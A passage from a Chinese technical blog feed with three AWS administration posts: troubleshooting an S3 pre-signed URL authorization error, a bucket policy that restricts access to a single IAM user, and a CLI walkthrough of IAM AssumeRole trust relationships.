    这件事其实还是比较好理解的,因为生成临时的签名,我也是用当前用户凭证去签的,当前用户有权限就行,所以生产的pre-signed URL是可以正常访问的(用KMS加密的对象也没事)。

    0x04 访问S3 pre-signed URL报认证错误应该怎么处理?

    访问S3 pre-signed URL,报如下错误:

    1
    2
    3
    4
    5
    [root@ip-10-0-0-64 ~]# aws s3 presign s3://aaabbb/webwxgeticon.jpg
    https://aaabbb.s3.cn-north-1.amazonaws.com.cn/webwxgeticon.jpg?X-Amz-Algorithm=AWS4-HMAC-SHA256&X-Amz-Expires=3600&X-Amz-Credential=AKIAUKT6WCRV7BGA6LF3%2F20191123%2Fcn-north-1%2Fs3%2Faws4_request&X-Amz-SignedHeaders=host&X-Amz-Date=20191123T143127Z&X-Amz-Signature=38ec063e7940823b351e9a9798f82087929bcff1f2dab7a1ad49a705fb74a8b4
    [root@ip-10-0-0-64 ~]# curl "https://aaabbb.s3.cn-north-1.amazonaws.com.cn/webwxgeticon.jpg?X-Amz-Algorithm=AWS4-HMAC-SHA256&X-Amz-Expires=3600&X-Amz-Credential=AKIAUKT6WCRV7BGA6LF3%2F20191123%2Fcn-north-1%2Fs3%2Faws4_request&X-Amz-SignedHeaders=host&X-Amz-Date=20191123T143127Z&X-Amz-Signature=38ec063e7940823b351e9a9798f82087929bcff1f2dab7a1ad49a705fb74a8b4"
    <?xml version="1.0" encoding="UTF-8"?>
    <Error><Code>UnauthorizedAccess</Code><Message>You are not authorized to perform this operation</Message><RequestId>6116F30427B5AB43</RequestId><HostId>3wtTSiON9hssqGNCYfz+mCqigoFxl0s+DTJt3DKUEG9ABhGH5gOxCfOu7yJdKUHapN81r5uBUs0=</HostId></Error>[root@ip-10-0-0-64 ~]#

    报这个错误的话,通常是由于当前账号未备案导致的(中国特色干啥都得备案),去找AWS备案就完事了。
    当你公开对象的时候访问报这个错误,也是这个原因,挺那啥的这事。。。

    0x05 总结

    整理了一下S3 pre-signed URL与KMS加密的一些玩法,太不黑客了,不咋快乐。

    0x06 参考链接

    [1] presign, https://docs.aws.amazon.com/cli/latest/reference/s3/presign.html

    ]]>
    <h2 id="0x00-前言"><a href="#0x00-前言" class="headerlink" title="0x00 前言"></a>0x00 前言</h2><p>在这篇文章中,我会记录一下关于S3 pre-signed url和KMS加密交互的一些玩法。比如说:
    S3 Bucket 如何配置才能做到只允许某一个IAM User操作? https://tonghuaroot.com/2019/11/21/S3-Bucket-Policy-Only-One-User/ 2019-11-21T05:52:27.000Z 2019-11-21T13:52:58.000Z 0x00 前言

    有这么个需求,我有一个S3 Bucket,然后我只想让某一个User管理,我应该咋操作。
    简而言之,可以通过Bucket Policy实现,限制某一个IAM User才能访问,然后其他的操作全都deny掉。

    0x01 Policy

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    {
    "Version": "2012-10-17",
    "Statement": [
    {
    "Effect": "Deny",
    "Principal": "*",
    "Action": "s3:*",
    "Resource": [
    "arn:aws-cn:s3:::bucketname/*",
    "arn:aws-cn:s3:::bucketname"
    ],
    "Condition": {
    "StringNotEquals": {
    "aws:username": "username"
    }
    }
    }
    ]
    }

    你要是用这个Policy的话,需要修改bucketname、username,别的没啥了。
    Policy比较简单,大意就是有一个条件aws:username不等于我的username的,我就全都给deny掉。

    这个是允许的user执行结果
    image

    这个是其他无权限的user
    image

    0x02 总结

    可以在根据指定的action做一些精细化的访问控制,不过那就不在这个的讨论范围了。

    0x03 参考链接

    没参考啥,去Policy的控制台测测就完了。

    ]]>
    <h2 id="0x00-前言"><a href="#0x00-前言" class="headerlink" title="0x00 前言"></a>0x00 前言</h2><p>有这么个需求,我有一个S3 Bucket,然后我只想让某一个User管理,我应该咋操作。<br>简而
    聊一聊AssumeRole和Trust Relationship https://tonghuaroot.com/2019/11/21/IAM-AssumeRole-and-TrustRelationship/ 2019-11-21T01:26:38.000Z 2019-11-21T13:00:26.000Z 0x00 前言

    AWS在IAM服务提供了一个Role的功能,Role的话就是可以扩大自己的权限,比如说一个user可以临时assume一个role,那这个user就具备这个role的权限了。或者跨账号访问的时候也可以用这个role。再比如说我做SSO的时候,也是用role实现的。

    那和role相关的最小action都有哪些呢?这一节我们就来聊一聊这块。

    0x01 IAM Role 权限的组成部分

    我这里创建两个role(一个role A,一个role B),role A是为了让EC2实例附加,role B是为了让role A assume。

    Role B的Policy具有管理员权限(当然我们这节也不用关系它),重点看看role B的信任关系,和role A的Policy。

    IAM Role 的权限通常由两部分组成,一个是Policy,一个是Trust Relationship(信任关系)。Policy就是我这个role能干多大的事。信任关系就是说,谁能assume这个role,这里的“谁”,可能是指user、role等等。其实我现在jio着这个信任关系,倒是跟S3 Bucket Policy还是有几分相像的。

    那就先看看这个role还有信任关系啥的吧:

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    26
    27
    28
    29
    30
    31
    [root@ip-10-0-0-64 tmp]# aws iam get-role --role-name assumerole_role_target
    {
    "Role": {
    "Description": "Allows EC2 instances to call AWS services on your behalf.",
    "AssumeRolePolicyDocument": {
    "Version": "2012-10-17",
    "Statement": [
    {
    "Action": "sts:AssumeRole",
    "Effect": "Allow",
    "Principal": {
    "AWS": "arn:aws-cn:iam::123456789012:role/assume_role_ec2"
    }
    }
    ]
    },
    "MaxSessionDuration": 3600,
    "RoleId": "AROAUKT6WCRVQNHNPAHIN",
    "CreateDate": "2019-11-21T03:46:08Z",
    "Tags": [
    {
    "Value": "test",
    "Key": "Name"
    }
    ],
    "RoleName": "assumerole_role_target",
    "Path": "/",
    "Arn": "arn:aws-cn:iam::123456789012:role/assumerole_role_target"
    }
    }
    [root@ip-10-0-0-64 tmp]#

    再来看看role A的Policy:

    1
    2
    3
    4
    5
    [root@ip-10-0-0-64 tmp]# aws iam list-role-policies --role-name assume_role_ec2
    {
    "PolicyNames": []
    }
    [root@ip-10-0-0-64 tmp]#

    为空时因为我们没有内联策略,然后我现在给他附加了一个托管策略(admin_test),不过策略的内容是空的。

    image

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    [root@ip-10-0-0-64 tmp]# aws iam get-policy --policy-arn arn:aws-cn:iam::123456789012:policy/admin_test
    {
    "Policy": {
    "PolicyName": "admin_test",
    "PermissionsBoundaryUsageCount": 0,
    "CreateDate": "2019-11-21T04:06:32Z",
    "AttachmentCount": 1,
    "IsAttachable": true,
    "PolicyId": "ANPAUKT6WCRV5UNNV3DZA",
    "DefaultVersionId": "v3",
    "Path": "/",
    "Arn": "arn:aws-cn:iam::123456789012:policy/admin_test",
    "UpdateDate": "2019-11-21T04:35:13Z"
    }
    }
    [root@ip-10-0-0-64 tmp]#

    可以看到我现在这个role现在附加的Policy只有个ec2:DescribeInstances权限,对IAM相关的权限肯定没啥影响。

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    [root@ip-10-0-0-64 tmp]# aws iam get-policy-version --policy-arn arn:aws-cn:iam::123456789012:policy/admin_test  --version-id v4
    {
    "PolicyVersion": {
    "CreateDate": "2019-11-21T08:45:11Z",
    "VersionId": "v4",
    "Document": {
    "Version": "2012-10-17",
    "Statement": [
    {
    "Action": "ec2:DescribeInstances",
    "Resource": "*",
    "Effect": "Allow",
    "Sid": "VisualEditor0"
    }
    ]
    },
    "IsDefaultVersion": true
    }
    }
    [root@ip-10-0-0-64 tmp]#

    0x02 测试看看

    然后我现在做一个assume操作试试:

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    [root@ip-10-0-0-64 tmp]# aws sts assume-role --role-arn arn:aws-cn:iam::123456789012:role/assumerole_role_target --role-session-name xxx
    {
    "AssumedRoleUser": {
    "AssumedRoleId": "AROAUKT6WCRVQNHNPAHIN:xxx",
    "Arn": "arn:aws-cn:sts::123456789012:assumed-role/assumerole_role_target/xxx"
    },
    "Credentials": {
    "SecretAccessKey": "xx",
    "SessionToken": "xx",
    "Expiration": "2019-11-21T09:49:55Z",
    "AccessKeyId": "xx"
    }
    }
    [root@ip-10-0-0-64 tmp]# date
    Thu Nov 21 08:50:35 UTC 2019
    [root@ip-10-0-0-64 tmp]#

    可以看到已经成了。

    那我再来修改一下role B的信任关系,修改成当前账号的root arn试试。

    image

    然后在执行assume role操作,可以看到这个操作被拒绝了:

    1
    2
    3
    4
    [root@ip-10-0-0-64 tmp]# aws sts assume-role --role-arn arn:aws-cn:iam::123456789012:role/assumerole_role_target --role-session-name xxx

    An error occurred (AccessDenied) when calling the AssumeRole operation: User: arn:aws-cn:sts::123456789012:assumed-role/assume_role_ec2/i-111ecda157b494afe is not authorized to perform: sts:AssumeRole on resource: arn:aws-cn:iam::123456789012:role/assumerole_role_target
    [root@ip-10-0-0-64 tmp]#

    那这是因为啥呢,起初我刚看到这个现象的时候一脸懵逼啊,心想我root账号都有权限了,凭啥role就没权限搞呢?

    后来想想对标一下S3 Bucket Policy这个事就明了了,我只是把权限给root了,但是作为root账号我还要把权限委派下去啊,我需要给role A一个sts:AssumeRole的权限。

    image

    再来试试:

    image

    可以看到已经成功了哈。

    0x03 跨账号能这么玩吗?

    image

    嗯,试了一下,跨账号这么晚也没啥毛病。

    当然比较常见的使用方法,除了使用cli,在控制台中也可以这么操作:

    image

    0x04 总结

    • 同一账号下,role B的信任关系中有role A的ARN就够了
    • 跨账号的场景下,role C(另一个账号的role,信任关系中要包含role A的ARN,role A也要有assume role的权限才能玩)

    0x05 参考链接

    ]]>
    <h2 id="0x00-前言"><a href="#0x00-前言" class="headerlink" title="0x00 前言"></a>0x00 前言</h2><p>AWS在IAM服务提供了一个Role的功能,Role的话就是可以扩大自己的权限,比如说一个user可